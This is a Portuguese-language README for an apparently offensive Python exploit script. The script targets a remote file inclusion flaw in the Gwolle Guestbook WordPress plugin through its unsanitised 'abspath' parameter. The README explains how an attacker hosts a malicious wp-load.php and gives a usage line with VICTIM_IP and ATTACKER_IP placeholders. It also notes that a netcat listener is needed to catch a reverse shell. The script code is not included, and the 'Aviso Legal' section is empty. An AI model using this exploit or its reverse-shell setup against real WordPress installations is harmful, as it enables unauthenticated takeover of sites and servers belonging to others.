Gwolle Guestbook WordPress Plugin RFI Exploit

Este script Python explora uma vulnerabilidade crítica de Inclusão Remota de Arquivos (RFI) no plugin Gwolle Guestbook para WordPress, que pode ser explorada por um atacante não autenticado para incluir um arquivo PHP remoto e executar código arbitrário no sistema vulnerável.

Detalhes da Vulnerabilidade

O parâmetro HTTP GET "abspath" não está sendo devidamente sanitizado antes de ser usado na função require() do PHP. Um atacante remoto pode incluir um arquivo chamado 'wp-load.php' de um servidor remoto arbitrário e executar seu conteúdo no servidor web vulnerável. Para isso, o atacante precisa colocar um arquivo 'wp-load.php' malicioso na raiz de documentos do seu servidor e incluir a URL do servidor na requisição.

A exploração bem-sucedida desta vulnerabilidade pode levar ao comprometimento de toda a instalação do WordPress e pode até mesmo resultar no comprometimento de todo o servidor web.

Uso

O script requer três argumentos:

• URL do alvo: A URL da instalação do WordPress vulnerável.
• Host do atacante: O endereço IP ou nome do host da máquina do atacante.
• Porta do atacante: O número da porta onde o atacante está ouvindo um reverse shell.

Exemplo:

python3 exploit.py VICTIM_IP/WORDPRESS ATTACKER_IP ATTACKER_PORT

Nota: Você precisa ter um listener netcat aberto na máquina do atacante na porta especificada.

Aviso Legal